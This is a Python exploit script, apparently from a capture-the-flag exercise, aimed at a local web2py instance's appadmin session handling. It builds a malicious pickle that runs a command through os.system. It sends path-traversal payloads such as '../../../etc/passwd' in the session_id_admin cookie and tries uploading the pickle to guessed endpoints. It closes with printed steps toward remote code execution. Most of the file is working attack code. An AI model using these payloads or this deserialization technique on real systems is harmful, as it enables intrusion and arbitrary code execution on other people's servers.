#!/usr/bin/env python3
"""
Test for session deserialization vulnerability in appadmin authentication.

The check_credentials() function in fileutils.py loads session files using pickle.load():
- get_session() constructs filename from cookie: session_id_admin
- No path validation on session_id value
- Potential path traversal to load arbitrary files

Attack vector:
1. Create malicious pickled file on server (upload, cache poisoning, etc.)
2. Set session_id_admin cookie to path traversal payload
3. Access /appadmin endpoint
4. Server deserializes our malicious pickle -> RCE
"""

import requests
import pickle
import os
import sys
import urllib3

# Disable SSL warnings for self-signed certs
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET_URL = "https://localhost:5000"

def create_pickle_payload():
    """Create a malicious pickle payload that executes /readflag"""
    
    class RCE:
        def __reduce__(self):
            import os
            return (os.system, ('/readflag',))
    
    payload = pickle.dumps(RCE())
    return payload

def test_session_path_traversal():
    """Test if we can traverse paths in session_id cookie"""
    
    # Try to load a session file using path traversal
    # The get_session() function does: 
    # session_filename = os.path.join(up(request.folder), other_application, "sessions", session_id)
    # Example: /opt/web2py/applications/admin/sessions/{session_id}
    
    # Can we use ../../../ to escape?
    payloads = [
        "../../../etc/passwd",
        "..%2F..%2F..%2Fetc%2Fpasswd",
        "....//....//....//etc/passwd",
        "../../../root/flag.txt",
    ]
    
    print("[*] Testing path traversal in session_id cookie...")
    
    for payload in payloads:
        cookies = {
            'session_id_admin': payload
        }
        
        try:
            resp = requests.get(
                f"{TARGET_URL}/welcome/appadmin/select/db",
                cookies=cookies,
                allow_redirects=False,
                timeout=5,
                verify=False
            )
            
            print(f"[+] Payload: {payload}")
            print(f"    Status: {resp.status_code}")
            print(f"    Body: {resp.text[:200]}")
            print()
            
        except Exception as e:
            print(f"[-] Payload {payload} failed: {e}")

def test_session_upload():
    """
    Alternative: Can we upload a malicious session file?
    Check if any upload endpoint exists that we can abuse
    """
    print("[*] Checking for upload endpoints...")
    
    endpoints = [
        "/welcome/default/upload",
        "/examples/default/upload",
        "/welcome/default/data/upload",
        "/examples/default/data/upload",
    ]
    
    payload = create_pickle_payload()
    
    for endpoint in endpoints:
        try:
            files = {'file': ('malicious.session', payload)}
            resp = requests.post(
                f"{TARGET_URL}{endpoint}",
                files=files,
                timeout=5,
                verify=False
            )
            print(f"[+] {endpoint}: {resp.status_code}")
        except Exception as e:
            print(f"[-] {endpoint}: {e}")

def test_cache_poisoning():
    """
    Check if we can poison cache to create a malicious session file
    Cache files might be stored in predictable locations
    """
    print("[*] Checking cache endpoints...")
    
    # web2py cache locations:
    # applications/{app}/cache/
    # applications/{app}/sessions/
    
    # Can we trigger cache write with controlled data?
    pass

if __name__ == "__main__":
    print("=" * 70)
    print("Session Deserialization Vulnerability Test")
    print("=" * 70)
    print()
    
    # First check if server is running
    try:
        resp = requests.get(f"{TARGET_URL}/", timeout=5, verify=False)
        print(f"[+] Server is running (Status: {resp.status_code})")
        print()
    except Exception as e:
        print(f"[-] Cannot connect to server: {e}")
        print("[!] Make sure Docker container is running:")
        print("    docker run -p 5000:5000 web2py-vuln")
        sys.exit(1)
    
    test_session_path_traversal()
    test_session_upload()
    
    print()
    print("[*] Analysis:")
    print("    - check_credentials() uses get_session()")
    print("    - get_session() loads pickle from: {app}/sessions/{session_id}")
    print("    - session_id comes from cookie without validation")
    print("    - If we can write a file to sessions/ directory, we can RCE")
    print()
    print("[*] Next steps:")
    print("    1. Find file write primitive (upload, cache, logs)")
    print("    2. Write malicious pickle to sessions/ directory")
    print("    3. Set session_id_admin cookie to our filename")
    print("    4. Access /appadmin -> triggers deserialization -> RCE")
